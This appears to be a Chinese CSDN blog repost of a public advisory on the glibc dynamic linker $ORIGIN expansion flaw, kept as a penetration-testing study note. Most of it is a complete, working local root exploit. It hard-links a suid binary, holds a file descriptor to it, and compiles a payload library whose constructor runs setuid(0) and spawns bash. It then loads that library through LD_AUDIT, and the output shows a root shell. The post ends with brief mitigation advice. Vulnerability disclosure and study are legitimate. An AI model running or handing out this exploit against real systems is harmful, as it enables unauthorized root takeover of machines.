20210414web渗透学习之GNU C library 动态链接区 $ORIGIN 溢出提权(胃肠炎住院期间)

GNU C library dynamic linker $ORIGIN expansion Vulnerability

from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2

动态链接器(或动态加载器)是为连接运行时负责动态链接程序。 ld.so运行在两个安全模式,一个是宽松模式,使超过负荷运行控制程度高,一个是安全模式(libc_enable_secure)旨在防止用户的干扰装载特权可执行文件。

至少有以下版本已经过测试

   2.12.1, FC13
   2.5, RHEL5 / CentOS5

影响:

可以利用这个漏洞以root权限执行任意代码

代码如下:

$ mkdir /tmp/exploit

链接到一个suid的二进制,从而改变$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target 

 打开文件描述符的目标二进制

$ exec 3< /tmp/exploit/target

该描述符号现在应该可以通过/ proc来访问

$ ls -l /proc/$$/fd/3

删除以前创建的目录

$ rm -rf /tmp/exploit/

/ proc的链接应该仍然存在,但现在将被标记为删除

$ ls -l /proc/$$/fd/3

更换一个有效载荷DSO的目录,从而制造 $ORIGIN对于dlopen()的有效目标

$ cat > payload.c
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

现在强行把位于/proc的链接通过LD AUDIT来加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

这样就取得了root权限

sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

缓解方法:

阻止用户在mounted的文件系统上创建文件

解决方法:

主要发行商应该在短期内发布最新的glibc包

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ydt619/archive/2010/10/20/5954199.aspx

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值